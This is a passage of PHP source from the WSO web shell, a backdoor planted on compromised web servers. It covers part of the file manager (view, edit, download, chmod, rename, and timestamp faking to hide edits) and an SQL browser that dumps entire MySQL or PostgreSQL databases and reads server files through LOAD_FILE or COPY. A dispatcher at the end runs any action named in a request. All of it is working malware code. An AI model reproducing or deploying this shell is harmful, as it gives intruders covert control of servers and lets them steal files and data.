630 d.files.elements[i].checked = d.files.elements[0].checked;
631 }
632</script>
633<table width='100%' class='main' cellspacing='0' cellpadding='2'>
634<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
635 $dirs = $files = array();
636 $n = count($dirContent);
637 for($i=0;$i<$n;$i++) {
638 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
639 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
640 $tmp = array('name' => $dirContent[$i],
641 'path' => $GLOBALS['cwd'].$dirContent[$i],
642 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
643 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
644 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
645 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
646 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
647 );
648 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
649 $files[] = array_merge($tmp, array('type' => 'file'));
650 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
651 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
652 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
653 $dirs[] = array_merge($tmp, array('type' => 'dir'));
654 }
655 $GLOBALS['sort'] = $sort;
656 function wsoCmp($a, $b) {
657 if($GLOBALS['sort'][0] != 'size')
658 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
659 else
660 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
661 }
662 usort($files, "wsoCmp");
663 usort($dirs, "wsoCmp");
664 $files = array_merge($dirs, $files);
665 $l = 0;
666 foreach($files as $f) {
667 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
668 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
669 $l = $l?0:1;
670 }
671 echo "<tr><td colspan=7>
672 <input type=hidden name=ne value=''>
673 <input type=hidden name=a value='FilesMan'>
674 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
675 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
676 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
677 if(class_exists('ZipArchive'))
678 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
679 echo "<option value='tar'>Compress (tar.gz)</option>";
680 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
681 echo "<option value='paste'>Paste / Compress</option>";
682 echo "</select> ";
683 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
684 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
685 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
686 wsoFooter();
687}
688function actionFilesTools() {
689 if( isset($_POST['p1']) )
690 $_POST['p1'] = urldecode($_POST['p1']);
691 if(@$_POST['p2']=='download') {
692 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
693 ob_start("ob_gzhandler", 4096);
694 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
695 if (function_exists("mime_content_type")) {
696 $type = @mime_content_type($_POST['p1']);
697 header("Content-Type: " . $type);
698 } else
699 header("Content-Type: application/octet-stream");
700 $fp = @fopen($_POST['p1'], "r");
701 if($fp) {
702 while(!@feof($fp))
703 echo @fread($fp, 1024);
704 fclose($fp);
705 }
706 }exit;
707 }
708 if( @$_POST['p2'] == 'mkfile' ) {
709 if(!file_exists($_POST['p1'])) {
710 $fp = @fopen($_POST['p1'], 'w');
711 if($fp) {
712 $_POST['p2'] = "edit";
713 fclose($fp);
714 }
715 }
716 }
717 wsoHeader();
718 echo '<h1>File tools</h1><div class=content>';
719 if( !file_exists(@$_POST['p1']) ) {
720 echo 'File not exists';
721 wsoFooter();
722 return;
723 }
724 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
725 if(!$uid) {
726 $uid['name'] = @fileowner($_POST['p1']);
727 $gid['name'] = @filegroup($_POST['p1']);
728 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
729 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
730 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
731 if( empty($_POST['p2']) )
732 $_POST['p2'] = 'view';
733 if( is_file($_POST['p1']) )
734 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
735 else
736 $m = array('Chmod', 'Rename', 'Touch');
737 foreach($m as $v)
738 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
739 echo '<br><br>';
740 switch($_POST['p2']) {
741 case 'view':
742 echo '<pre class=ml1>';
743 $fp = @fopen($_POST['p1'], 'r');
744 if($fp) {
745 while( !@feof($fp) )
746 echo htmlspecialchars(@fread($fp, 1024));
747 @fclose($fp);
748 }
749 echo '</pre>';
750 break;
751 case 'highlight':
752 if( @is_readable($_POST['p1']) ) {
753 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
754 $code = @highlight_file($_POST['p1'],true);
755 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
756 }
757 break;
758 case 'chmod':
759 if( !empty($_POST['p3']) ) {
760 $perms = 0;
761 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
762 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
763 if(!@chmod($_POST['p1'], $perms))
764 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
765 }
766 clearstatcache();
767 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
768 break;
769 case 'edit':
770 if( !is_writable($_POST['p1'])) {
771 echo 'File isn\'t writeable';
772 break;
773 }
774 if( !empty($_POST['p3']) ) {
775 $time = @filemtime($_POST['p1']);
776 $_POST['p3'] = substr($_POST['p3'],1);
777 $fp = @fopen($_POST['p1'],"w");
778 if($fp) {
779 @fwrite($fp,$_POST['p3']);
780 @fclose($fp);
781 echo 'Saved!<br><script>p3_="";</script>';
782 @touch($_POST['p1'],$time,$time);
783 }
784 }
785 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
786 $fp = @fopen($_POST['p1'], 'r');
787 if($fp) {
788 while( !@feof($fp) )
789 echo htmlspecialchars(@fread($fp, 1024));
790 @fclose($fp);
791 }
792 echo '</textarea><input type=submit value=">>"></form>';
793 break;
794 case 'hexdump':
795 $c = @file_get_contents($_POST['p1']);
796 $n = 0;
797 $h = array('00000000<br>','','');
798 $len = strlen($c);
799 for ($i=0; $i<$len; ++$i) {
800 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
801 switch ( ord($c[$i]) ) {
802 case 0: $h[2] .= ' '; break;
803 case 9: $h[2] .= ' '; break;
804 case 10: $h[2] .= ' '; break;
805 case 13: $h[2] .= ' '; break;
806 default: $h[2] .= $c[$i]; break;
807 }
808 $n++;
809 if ($n == 32) {
810 $n = 0;
811 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
812 $h[1] .= '<br>';
813 $h[2] .= "n";
814 }
815 }
816 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
817 break;
818 case 'rename':
819 if( !empty($_POST['p3']) ) {
820 if(!@rename($_POST['p1'], $_POST['p3']))
821 echo 'Can\'t rename!<br>';
822 else
823 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
824 }
825 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
826 break;
827 case 'touch':
828 if( !empty($_POST['p3']) ) {
829 $time = strtotime($_POST['p3']);
830 if($time) {
831 if(!touch($_POST['p1'],$time,$time))
832 echo 'Fail!';
833 else
834 echo 'Touched!';
835 } else echo 'Bad time format!';
836 }
837 clearstatcache();
838 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
839 break;
840 }
841 echo '</div>';
842 wsoFooter();
843} function actionSql() {
844 class DbClass {
845 var $type;
846 var $link;
847 var $res;
848 function DbClass($type) {
849 $this->type = $type;
850 }
851 function connect($host, $user, $pass, $dbname){
852 switch($this->type) {
853 case 'mysql':
854 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
855 break;
856 case 'pgsql':
857 $host = explode(':', $host);
858 if(!$host[1]) $host[1]=5432;
859 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
860 break;
861 }
862 return false;
863 }
864 function selectdb($db) {
865 switch($this->type) {
866 case 'mysql':
867 if (@mysql_select_db($db))return true;
868 break;
869 }
870 return false;
871 }
872 function query($str) {
873 switch($this->type) {
874 case 'mysql':
875 return $this->res = @mysql_query($str);
876 break;
877 case 'pgsql':
878 return $this->res = @pg_query($this->link,$str);
879 break;
880 }
881 return false;
882 }
883 function fetch() {
884 $res = func_num_args()?func_get_arg(0):$this->res;
885 switch($this->type) {
886 case 'mysql':
887 return @mysql_fetch_assoc($res);
888 break;
889 case 'pgsql':
890 return @pg_fetch_assoc($res);
891 break;
892 }
893 return false;
894 }
895 function listDbs() {
896 switch($this->type) {
897 case 'mysql':
898 return $this->query("SHOW databases");
899 break;
900 case 'pgsql':
901 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
902 break;
903 }
904 return false;
905 }
906 function listTables() {
907 switch($this->type) {
908 case 'mysql':
909 return $this->res = $this->query('SHOW TABLES');
910 break;
911 case 'pgsql':
912 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
913 break;
914 }
915 return false;
916 }
917 function error() {
918 switch($this->type) {
919 case 'mysql':
920 return @mysql_error();
921 break;
922 case 'pgsql':
923 return @pg_last_error();
924 break;
925 }
926 return false;
927 }
928 function setCharset($str) {
929 switch($this->type) {
930 case 'mysql':
931 if(function_exists('mysql_set_charset'))
932 return @mysql_set_charset($str, $this->link);
933 else
934 $this->query('SET CHARSET '.$str);
935 break;
936 case 'pgsql':
937 return @pg_set_client_encoding($this->link, $str);
938 break;
939 }
940 return false;
941 }
942 function loadFile($str) {
943 switch($this->type) {
944 case 'mysql':
945 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
946 break;
947 case 'pgsql':
948 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
949 $r=array();
950 while($i=$this->fetch())
951 $r[] = $i['file'];
952 $this->query('drop table wso2');
953 return array('file'=>implode("\n",$r));
954 break;
955 }
956 return false;
957 }
958 function dump($table, $fp = false) {
959 switch($this->type) {
960 case 'mysql':
961 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
962 $create = mysql_fetch_array($res);
963 $sql = $create[1].";\n";
964 if($fp) fwrite($fp, $sql); else echo($sql);
965 $this->query('SELECT * FROM `'.$table.'`');
966 $i = 0;
967 $head = true;
968 while($item = $this->fetch()) {
969 $sql = '';
970 if($i % 1000 == 0) {
971 $head = true;
972 $sql = ";\n\n";
973 }
974
975 $columns = array();
976 foreach($item as $k=>$v) {
977 if($v === null)
978 $item[$k] = "NULL";
979 elseif(is_int($v))
980 $item[$k] = $v;
981 else
982 $item[$k] = "'".@mysql_real_escape_string($v)."'";
983 $columns[] = "`".$k."`";
984 }
985 if($head) {
986 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
987 $head = false;
988 } else
989 $sql .= "\n\t,(".implode(", ", $item).')';
990 if($fp) fwrite($fp, $sql); else echo($sql);
991 $i++;
992 }
993 if(!$head)
994 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
995 break;
996 case 'pgsql':
997 $this->query('SELECT * FROM '.$table);
998 while($item = $this->fetch()) {
999 $columns = array();
1000 foreach($item as $k=>$v) {
1001 $item[$k] = "'".addslashes($v)."'";
1002 $columns[] = $k;
1003 }
1004 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1005 if($fp) fwrite($fp, $sql); else echo($sql);
1006 }
1007 break;
1008 }
1009 return false;
1010 }
1011 };
1012 $db = new DbClass($_POST['type']);
1013 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1014 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1015 $db->selectdb($_POST['sql_base']);
1016 switch($_POST['charset']) {
1017 case "Windows-1251": $db->setCharset('cp1251'); break;
1018 case "UTF-8": $db->setCharset('utf8'); break;
1019 case "KOI8-R": $db->setCharset('koi8r'); break;
1020 case "KOI8-U": $db->setCharset('koi8u'); break;
1021 case "cp866": $db->setCharset('cp866'); break;
1022 }
1023 if(empty($_POST['file'])) {
1024 ob_start("ob_gzhandler", 4096);
1025 header("Content-Disposition: attachment; filename=dump.sql");
1026 header("Content-Type: text/plain");
1027 foreach($_POST['tbl'] as $v)
1028 $db->dump($v);
1029 exit;
1030 } elseif($fp = @fopen($_POST['file'], 'w')) {
1031 foreach($_POST['tbl'] as $v)
1032 $db->dump($v, $fp);
1033 fclose($fp);
1034 unset($_POST['p2']);
1035 } else
1036 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1037 }
1038 wsoHeader();
1039 echo "
1040<h1>Sql browser</h1><div class=content>
1041<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1042<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1043<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1044<td><select name='type'><option value='mysql' ";
1045 if(@$_POST['type']=='mysql')echo 'selected';
1046echo ">MySql</option><option value='pgsql' ";
1047if(@$_POST['type']=='pgsql')echo 'selected';
1048echo ">PostgreSql</option></select></td>
1049<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1050<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1051<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1052 $tmp = "<input type=text name=sql_base value=''>";
1053 if(isset($_POST['sql_host'])){
1054 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1055 switch($_POST['charset']) {
1056 case "Windows-1251": $db->setCharset('cp1251'); break;
1057 case "UTF-8": $db->setCharset('utf8'); break;
1058 case "KOI8-R": $db->setCharset('koi8r'); break;
1059 case "KOI8-U": $db->setCharset('koi8u'); break;
1060 case "cp866": $db->setCharset('cp866'); break;
1061 }
1062 $db->listDbs();
1063 echo "<select name=sql_base><option value=''></option>";
1064 while($item = $db->fetch()) {
1065 list($key, $value) = each($item);
1066 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1067 }
1068 echo '</select>';
1069 }
1070 else echo $tmp;
1071 }else
1072 echo $tmp;
1073 echo "</td>
1074 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1075 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1076 </tr>
1077 </table>
1078 <script>
1079 s_db='".@addslashes($_POST['sql_base'])."';
1080 function fs(f) {
1081 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1082 if(f.p1) f.p1.value='';
1083 if(f.p2) f.p2.value='';
1084 if(f.p3) f.p3.value='';
1085 }
1086 }
1087 function st(t,l) {
1088 d.sf.p1.value = 'select';
1089 d.sf.p2.value = t;
1090 if(l && d.sf.p3) d.sf.p3.value = l;
1091 d.sf.submit();
1092 }
1093 function is() {
1094 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1095 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1096 }
1097 </script>";
1098 if(isset($db) && $db->link){
1099 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1100 if(!empty($_POST['sql_base'])){
1101 $db->selectdb($_POST['sql_base']);
1102 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1103 $tbls_res = $db->listTables();
1104 while($item = $db->fetch($tbls_res)) {
1105 list($key, $value) = each($item);
1106 if(!empty($_POST['sql_count']))
1107 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1108 $value = htmlspecialchars($value);
1109 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1110 }
1111 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1112 if(@$_POST['p1'] == 'select') {
1113 $_POST['p1'] = 'query';
1114 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1115 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1116 $num = $db->fetch();
1117 $pages = ceil($num['n'] / 30);
1118 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1119 echo " of $pages";
1120 if($_POST['p3'] > 1)
1121 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1122 if($_POST['p3'] < $pages)
1123 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1124 $_POST['p3']--;
1125 if($_POST['type']=='pgsql')
1126 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1127 else
1128 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1129 echo "<br><br>";
1130 }
1131 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1132 $db->query(@$_POST['p2']);
1133 if($db->res !== false) {
1134 $title = false;
1135 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1136 $line = 1;
1137 while($item = $db->fetch()) {
1138 if(!$title) {
1139 echo '<tr>';
1140 foreach($item as $key => $value)
1141 echo '<th>'.$key.'</th>';
1142 reset($item);
1143 $title=true;
1144 echo '</tr><tr>';
1145 $line = 2;
1146 }
1147 echo '<tr class="l'.$line.'">';
1148 $line = $line==1?2:1;
1149 foreach($item as $key => $value) {
1150 if($value == null)
1151 echo '<td><i>null</i></td>';
1152 else
1153 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1154 }
1155 echo '</tr>';
1156 }
1157 echo '</table>';
1158 } else {
1159 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1160 }
1161 }
1162 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1163 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1164 echo htmlspecialchars($_POST['p2']);
1165 echo "</textarea><br/><input type=submit value='Execute'>";
1166 echo "</td></tr>";
1167 }
1168 echo "</table></form><br/>";
1169 if($_POST['type']=='mysql') {
1170 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1171 if($db->fetch())
1172 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1173 }
1174 if(@$_POST['p1'] == 'loadfile') {
1175 $file = $db->loadFile($_POST['p2']);
1176 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1177 }
1178 } else {
1179 echo htmlspecialchars($db->error());
1180 }
1181 echo '</div>';
1182 wsoFooter();
1183}if( empty($_POST['a']) )
1184 if(isset($default_action) && function_exists('action' . $default_action))
1185 $_POST['a'] = $default_action;
1186 else
1187 $_POST['a'] = 'FilesMan';
1188if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1189 call_user_func('action' . $_POST['a']);
1190exit;
1191?>